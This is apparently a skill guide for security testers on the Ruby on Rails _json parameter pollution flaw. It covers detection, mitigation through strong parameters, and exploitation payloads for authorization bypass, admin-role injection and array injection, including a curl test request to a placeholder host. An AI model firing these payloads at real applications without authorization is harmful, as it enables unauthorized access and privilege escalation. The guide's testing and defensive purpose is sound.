Ruby _json Pollution Attack
A skill for identifying and exploiting the Ruby _json pollution vulnerability in Rails applications.
Overview
The _json pollution vulnerability occurs when Ruby on Rails applications handle non-hashable values (like arrays) in JSON request bodies. When such values are encountered, Rails stores them in a special _json key. Attackers can manually inject this _json parameter to bypass authorization checks or manipulate application behavior.
Vulnerability Mechanics
How It Works
- Normal behavior: When Rails receives a JSON body with non-hashable values (arrays, etc.), it automatically stores them in a
_jsonkey - Attack vector: An attacker can manually include
_jsonin the request body with arbitrary values - Exploitation: If the application checks one parameter for authorization but uses
_jsonfor actual operations, the check can be bypassed
Example Payload
{
"id": 123,
"_json": [456, 789]
}
In this case, the array [456, 789] would be accessible via the _json key in the Rails controller.
Detection
When to Test
- Any Ruby on Rails application with JSON API endpoints
- Applications that accept JSON request bodies
- Endpoints with authorization or access control checks
- Forms or APIs that process structured data
Detection Steps
- Identify JSON endpoints: Find API endpoints that accept JSON in the request body
- Check for parameter validation: Look for endpoints that validate specific parameters
- Test _json injection: Add a
_jsonkey with test values to the request body - Observe behavior: Check if the application processes the
_jsonparameter
Example Detection Request
curl -X POST https://target.com/api/resource \
-H "Content-Type: application/json" \
-d '{
"id": 1,
"_json": {"test": "pollution_detected"}
}'
Exploitation
Authorization Bypass
If an application checks params[:id] for authorization but uses params[:_json] for the actual operation:
{
"id": 1, // User's own resource (passes auth check)
"_json": [999] // Target resource (used for actual operation)
}
Data Manipulation
Inject arbitrary data structures through _json:
{
"action": "update",
"_json": {
"role": "admin",
"permissions": ["read", "write", "delete"]
}
}
Array Injection
Force array values into the parameter hash:
{
"user_id": 123,
"_json": [123, 456, 789]
}
Testing Checklist
- Identify all JSON API endpoints
- Map parameters used for authorization checks
- Test each endpoint with
_jsonparameter injection - Compare behavior with and without
_jsonparameter - Document any differences in application behavior
- Check for sensitive operations affected by
_json
Mitigation Recommendations
For Developers
- Explicit parameter whitelisting: Only allow specific parameters in controllers
- Avoid relying on implicit parameter handling: Be explicit about what data is accepted
- Validate all input: Check both explicit parameters and any
_jsonkeys - Use strong parameters: Leverage Rails strong parameters feature
- Sanitize JSON input: Remove or validate
_jsonkeys before processing
Example Strong Parameters
def permitted_params
params.permit(:id, :name, :email)
# _json is not permitted
end
References
Related Skills
- Consider using this skill alongside other deserialization testing skills
- Combine with general API security testing for comprehensive coverage
- Use with authorization testing skills for complete access control assessment